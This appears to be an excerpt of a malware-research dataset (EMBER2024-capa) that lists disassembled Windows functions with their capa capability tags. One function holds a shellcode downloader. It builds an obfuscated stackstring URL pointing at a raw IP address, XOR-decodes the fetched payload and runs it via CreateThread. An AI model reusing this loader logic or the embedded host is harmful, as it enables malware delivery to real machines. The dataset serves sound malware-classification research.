joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180190a50
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.180190c70
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x180190b57
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x180190ab4
mov rax, qword [0x1802ac008]
cmp qword [rsp + 0x20], rax
ja 0x180190ab4
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x180190a76
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1801991d0
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x180190ae3
jmp 0x180190b57
cmp dword [rsp + 0x50], 0x10000
jne 0x180190b3a
cmp qword [rsp + 0x48], 0x10000
jb 0x180190b3a
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180190b28
mov rax, qword [rsp + 0x28]
jmp 0x180190b59
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x180190b52
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.180190c70
mov qword [rsp + 0x20], rax
jmp 0x180190a76
xor eax, eax
add rsp, 0x68
ret

Function at 0x180190b60
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.180190cb0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x180190c63
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x180190bbb
mov rax, qword [0x1802ac008]
cmp qword [rsp + 0x20], rax
ja 0x180190bbb
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x180190b7d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1801991d0
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x180190bea
jmp 0x180190c63
cmp dword [rsp + 0x50], 0x10000
jne 0x180190c41
cmp qword [rsp + 0x48], 0x10000
jb 0x180190c41
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180190c2f
mov rax, qword [rsp + 0x28]
jmp 0x180190c65
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x180190c5e
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.180190cb0
mov qword [rsp + 0x20], rax
jmp 0x180190b7d
xor eax, eax
add rsp, 0x68
ret
Function at 0x180190d00
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.180191290
mov qword [rsp + 0x28], 0
cmp qword [0x1802dc998], 0
jne 0x180190d48
cmp qword [0x1802dc990], 0
je 0x180190d48
mov rax, qword [0x1802dc990]
mov qword [0x1802dc998], rax
cmp qword [0x1802dc998], 0
je 0x180190dee
mov rax, qword [0x1802dc998]
cmp qword [rax + 0x10], 0
je 0x180190dee
mov rax, qword [0x1802dc998]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x180190dee
mov rax, qword [0x1802dc998]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x180190dee
mov rax, qword [0x1802dc998]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x180190db4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x180190dbb
xor eax, eax
jmp 0x180190f69
mov rax, qword [0x1802dc998]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.1801991d0
mov rax, qword [rsp + 0x28]
jmp 0x180190f69
mov rax, qword [0x1802dc990]
mov qword [0x1802dc998], rax
jmp 0x180190e10
mov rax, qword [0x1802dc998]
mov rax, qword [rax + 8]
mov qword [0x1802dc998], rax
cmp qword [0x1802dc998], 0
je 0x180190e5d
cmp qword [0x1802dc998], 0
je 0x180190e5b
mov rax, qword [0x1802dc998]
cmp qword [rax + 0x10], 0
je 0x180190e5b
mov rax, qword [0x1802dc998]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x180190e5b
mov rax, qword [0x1802dc998]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x180190e5b
jmp 0x180190d8c
jmp 0x180190dfe
mov rcx, qword [rsp + 0x60]
call fcn.180193110
and eax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.180190f70
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x180190f67
mov rax, qword [rsp + 0x48]
mov qword [0x1802dc998], rax
mov rax, qword [0x1802dc998]
mov dword [rax], 0x52727464
mov rax, qword [0x1802dc998]
mov qword [rax + 0x10], 0
mov rax, qword [0x1802dc998]
mov rcx, qword [0x1802dc990]
mov qword [rax + 8], rcx
mov rax, qword [0x1802dc998]
mov qword [0x1802dc990], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x1802dc998]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x180190f18
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x180190f52
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x180190f0e
mov rax, qword [0x1802dc998]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x180190d8c
xor eax, eax
add rsp, 0x58
ret
Function at 0x1801b2e28
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1801b2e48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1801a1500
or eax, 0xffffffff
jmp 0x1801b2e4a
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400014c0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140003620], rbx
je 0x140001527
cmp rax, rbx
jne 0x14000151a
mov edi, 1
mov esi, edi
jmp 0x14000152c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x1400014ff
mov edi, 1
mov eax, dword [0x140003628]
cmp eax, edi
jne 0x140001544
mov ebx, 0x1f
mov ecx, ebx
call sub.msvcrt.dll__amsg_exit
jmp 0x1400015ba
mov eax, dword [0x140003628]
test eax, eax
jne 0x1400015af
mov dword [0x140003628], edi
lea r15, [0x1400022f0]
lea rbx, [0x1400022d8]
mov qword [rsp + 0x30], rbx
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rbx, r15
jae 0x1400015a1
test eax, eax
jne 0x1400015a5
cmp qword [rbx], r14
je 0x140001596
movabs r10, 0xd30527475e523070
mov rax, qword [rbx]
mov rcx, qword [vtable.fH.0]
call rcx
mov dword [rsp + 0x24], eax
add rbx, 8
mov qword [rsp + 0x30], rbx
jmp 0x14000156e
test eax, eax
je 0x1400015b5
mov eax, 0xff
jmp 0x14000171b
mov dword [0x1400035d4], edi
mov ebx, 0x1f
mov eax, dword [0x140003628]
cmp eax, edi
jne 0x1400015e1
lea rdx, [0x1400022d0]
lea rcx, [0x1400022c0]
call sub.msvcrt.dll__initterm
mov dword [0x140003628], 2
test esi, esi
jne 0x1400015ef
mov rax, r14
xchg qword [0x140003620], rax
cmp qword [0x140003630], r14
je 0x14000162c
lea rcx, [0x140003630]
call fcn.140001900
test eax, eax
je 0x14000162c
movabs r10, 0x99012e4578d92870
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140003630]
mov r9, qword [vtable.fH.0]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x140001645
mov eax, 0xff
jmp 0x14000171b
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x1400016cc
test ax, ax
je 0x140001660
test edx, edx
jne 0x1400016cc
sub ax, di
cmp ax, bx
ja 0x140001676
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x140001660
test byte [rsp + 0x7c], dil
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400019f4
mov dword [0x1400035d0], eax
cmp dword [0x1400035f0], r14d
jne 0x1400016b5
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400035d4], r14d
jne 0x1400016ca
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400035d0]
jmp 0x14000171b
cmp ax, 0x22
jne 0x1400016e0
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000164e
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140001164
add rsp, 0x28
jmp 0x1400014c0
Function at 0x140002c70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x4f]
sub rsp, 0xb8
mov eax, 0x68
xor r13d, r13d
lea r8, [rbp + 0x67]
mov word [rbp - 1], ax
mov eax, 0x6e
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 1]
mov dword [rbp + 1], 0x740074
mov dword [rbp + 5], 0x3a0070
mov word [rbp + 0x31], ax
mov dword [rbp + 9], 0x2f002f
mov dword [rbp + 0xd], 0x2e0038
mov dword [rbp + 0x11], 0x330031
mov dword [rbp + 0x15], 0x2e0038
mov dword [rbp + 0x19], 0x360031
mov dword [rbp + 0x1d], 0x2e0034
mov dword [rbp + 0x21], 0x360031
mov dword [rbp + 0x25], 0x2f0037
mov dword [rbp + 0x29], 0x370037
mov dword [rbp + 0x2d], 0x70002e
mov dword [rbp + 0x33], 0x67
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.140002780
test al, al
jne 0x140002d32
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
add rsp, 0xb8
pop r13
pop rbp
ret
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xa0], r12
call fcn.140008640
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x140002d70
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x140002d62
mov rsi, qword [rax + 0x10]
mov rcx, rsi
call fcn.140002700
lea rdx, [rbp - 0x29]
mov rcx, rsi
mov rdi, rax
mov dword [rbp - 0x29], 0x74726956
mov dword [rbp - 0x25], 0x506c6175
mov dword [rbp - 0x21], 0x65746f72
mov word [rbp - 0x1d], 0x7463
mov byte [rbp - 0x1b], r13b
mov dword [rbp - 0x39], 0x61657243
mov dword [rbp - 0x35], 0x68546574
mov dword [rbp - 0x31], 0x64616572
mov byte [rbp - 0x2d], r13b
mov dword [rbp - 0x19], 0x74696157
mov dword [rbp - 0x15], 0x53726f46
mov dword [rbp - 0x11], 0x6c676e69
mov dword [rbp - 0xd], 0x6a624f65
mov dword [rbp - 9], 0x746365
call rdi
lea rdx, [rbp - 0x39]
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, [rbp - 0x19]
mov rcx, rsi
mov r12, rax
call rdi
mov rdi, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rcx, rdi
mov rsi, rax
call rbx
movsxd rdx, dword [rbp + 0x67]
mov rbx, qword [rsp + 0xe8]
mov r9, rdx
test edx, edx
je 0x140002e3b
mov rcx, rdi
nop word [rax + rax]
xor byte [rcx], 0x69
inc rcx
dec r9
jne 0x140002e30
mov rcx, rdi
call fcn.140002be0
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov r12, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xb0]
add rsp, 0xb8
pop r13
pop rbp
ret
Function at 0x140002ee0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0xb0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea r8d, [rdi + 0x1e]
lea rdx, [0x140031000]
lea rcx, [rsp + 0x30]
call fcn.1400071b0
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rdi
mov word [rsp + 0x58], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x58]
call fcn.1400071b0
nop
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], rdi
mov word [rsp + 0x80], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x80]
call fcn.1400071b0
nop
lea rbx, [rsp + 0x30]
cmp qword [rbx + 0x18], 8
jb 0x140002f94
mov rcx, qword [rbx]
jmp 0x140002f97
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140002fcb
inc edi
add rbx, 0x28
cmp edi, 3
jb 0x140002f88
lea r9, [0x1400040c0]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.14000dfa4
xor al, al
jmp 0x140002fe7
lea r9, [0x1400040c0]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.14000dfa4
mov al, 1
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rdi
ret
Function at 0x1400062f0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
cmp qword [rcx + 0x80], 0
je 0x140006529
cmp byte [rcx + 0x89], 0
je 0x140006529
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400064fd
mov edx, 0xf
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], 8
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
xor r12d, r12d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x1400063c8
dec eax
jne 0x1400064c7
jmp 0x1400063cf
mov byte [rdi + 0x89], r12b
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rbp + 0x20]
sub rbx, rax
je 0x14000641d
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x98]
mov r8, rbx
mov edx, 1
call fcn.14000e5a0
cmp rbx, rax
jne 0x1400064ed
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rdi + 0x89], r12b
je 0x14000651b
test rbx, rbx
jne 0x140006380
or rax, 0xffffffffffffffff
mov r8, qword [rbp - 0x18]
sub rax, r8
cmp rax, 8
jbe 0x14000650e
lea rbx, [r8 + 8]
cmp rbx, 0xfffffffffffffffe
ja 0x140006501
cmp r9, rbx
jae 0x140006471
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.1400075b0
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
jmp 0x14000648e
test rbx, rbx
jne 0x140006497
mov qword [rbp - 0x18], r12
lea rax, [rbp - 0x28]
cmp r9, 0x10
cmovae rax, r10
mov byte [rax], r12b
jmp 0x14000636b
test rbx, rbx
je 0x140006380
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov rax, qword [rbp - 0x18]
xor edx, edx
mov qword [rcx + rax], rdx
mov qword [rbp - 0x18], rbx
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rbx], dl
jmp 0x14000636b
sub eax, 2
je 0x1400064e0
cmp qword [rbp - 0x10], 0x10
jb 0x1400064fd
mov rcx, qword [rbp - 0x28]
call fcn.14000e384
xor al, al
jmp 0x14000652b
cmp qword [rbp - 0x10], 0x10
jb 0x140006529
mov rcx, qword [rbp - 0x28]
jmp 0x140006524
cmp qword [rbp - 0x10], 0x10
jb 0x1400064fd
mov rcx, qword [rbp - 0x28]
call fcn.14000e384
xor al, al
jmp 0x14000652b
lea rcx, str.string_too_long
call fcn.14000bc5c
int3
lea rcx, str.string_too_long
call fcn.14000bc5c
nop
cmp r9, 0x10
jb 0x140006529
mov rcx, r10
call fcn.14000e384
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x140008640
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret
Function at 0x140016e1c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140016c8c

Function at 0x1400197e7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140039950]
jne 0x14000fa7a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000fa76
repz ret
ror rcx, 0x10
jmp 0x140019740
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14003c080]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14003c178]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400197c5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14003c080]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400197e7
mov rax, qword [rsp + 0x88]
mov qword [0x14003c178], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14003c118], rax
mov rax, qword [0x14003c178]
mov qword [0x14003bff0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14003c100], rax
mov dword [0x14003bfe0], 0xc0000409
mov dword [0x14003bfe4], 1
mov rax, qword [0x140039950]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140039958]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14003c078], eax
mov ecx, 1
call fcn.14001e234
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14002f1b0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14003c078], 0
jne 0x14001986e
mov ecx, 1
call fcn.14001e234
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140025f10
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140039950]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14001648c
xor ebx, ebx
cmp qword [0x14003c648], rbx
mov rdi, rax
jne 0x140026023
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400260fa
lea rdx, [0x140030bb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400260fa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14003c648], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14003c650], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14003c658], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14003c668], rax
test rax, rax
je 0x14002601a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14003c660], rax
jmp 0x14002602a
mov rax, qword [0x14003c660]
jmp 0x140026031
mov rax, qword [0x14003c660]
mov r11, qword [0x14003c668]
cmp rax, rdi
je 0x140026098
cmp r11, rdi
je 0x140026098
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14003c668]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140026098
test rax, rax
je 0x140026098
call rsi
test rax, rax
je 0x140026092
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140026092
test byte [rsp + 0x40], 1
jne 0x140026098
bts ebp, 0x15
jmp 0x1400260d8
mov rcx, qword [0x14003c650]
cmp rcx, rdi
je 0x1400260d8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400260d8
call rax
mov rbx, rax
test rax, rax
je 0x1400260d8
mov rcx, qword [0x14003c658]
cmp rcx, rdi
je 0x1400260d8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400260d8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14003c648]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400260fa
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400260fc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000fa60
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140057300
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005730d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005731d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140057305
lea eax, [rcx + 1]
jmp 0x14005732b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005733e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140057324
sub eax, 3
jb 0x14005735e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400573ad
sar eax, 1
movsxd rbp, eax
jb 0x140057394
jmp 0x14005736c
add ebx, ebx
jne 0x14005736a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140057394
inc ecx
add ebx, ebx
jne 0x14005737a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140057394
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005738d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14005737c
add ecx, 2
jmp 0x140057399
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400572c2
jmp 0x14005730d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29400
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400573f9
cmp rsi, rcx
jae 0x140057401
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400573e0
cmp al, 0x8f
ja 0x1400573e0
cmp byte [rsi - 2], 0xf
je 0x1400573e6
sub al, 0xe8
cmp al, 1
ja 0x1400573ca
cmp rsi, rcx
jae 0x140057401
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400573d0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140057401
lodsb al, byte [rsi]
jmp 0x1400573e0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x55000]
mov eax, dword [rdi]
or eax, eax
je 0x14005746a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x6284c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005740e
jns 0x140057443
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14005744d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140057464
mov qword [rbx], rax
add rbx, 8
jmp 0x14005742e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400574a4
cmp al, 0xef
ja 0x140057496
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140057476
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140057485
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
